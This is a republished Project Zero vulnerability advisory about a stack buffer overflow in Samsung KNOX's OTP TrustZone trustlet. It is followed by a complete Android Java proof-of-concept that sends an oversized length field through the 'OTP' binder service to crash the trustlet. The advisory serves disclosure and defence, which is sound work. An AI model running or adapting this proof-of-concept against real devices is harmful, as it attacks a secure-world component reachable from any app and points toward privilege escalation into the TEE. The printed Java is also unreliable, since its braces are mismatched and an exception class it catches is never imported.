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Samsung Devices KNOX Extensions OTP TrustZone Trustlet Stack Buffer Overflow

Posted on 14 December 2016

/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".

Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.

Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.

This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.

I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class OneWhoKNOX extends AppCompatActivity {

/**
* The logtag used.
*/
private static final String LOGTAG = "OTP_TEST";

/**
* The name of the OTP binder service.
*/
private static final String INTERFACE_DESCRIPTOR = "OTP";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

try {
//Getting the binder
Class smClass = Class.forName("android.os.ServiceManager");
IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);

//Writing a command with a large length field
Parcel parcel = Parcel.obtain();
Parcel reply = Parcel.obtain();
parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
byte[] command = new byte[0xDA7];

//Setting the command to OTP_GENERATE_OTP
command[0] = 0x02;
command[1] = 0x00;
command[2] = 0x00;
command[3] = 0x00;

//Setting the length field to something insane
command[0x41C] = (byte)0xFF;
command[0x41C + 1] = (byte)0xFF;
command[0x41C + 2] = (byte)0x00;
command[0x41C + 3] = (byte)0x00;

//Sending the command (should crash the trustlet)
parcel.writeByteArray(command);
binder.transact(2, parcel, reply, 0);
Log.e(LOGTAG, "res=" + reply.readInt());
reply.recycle();
parcel.recycle();

} catch (ClassNotFoundException |
NoSuchMethodException |
IllegalAccessException |
InvocationTargetException ex) {
Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
}

} catch (RemoteException ex) {
Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
}
}
}

 

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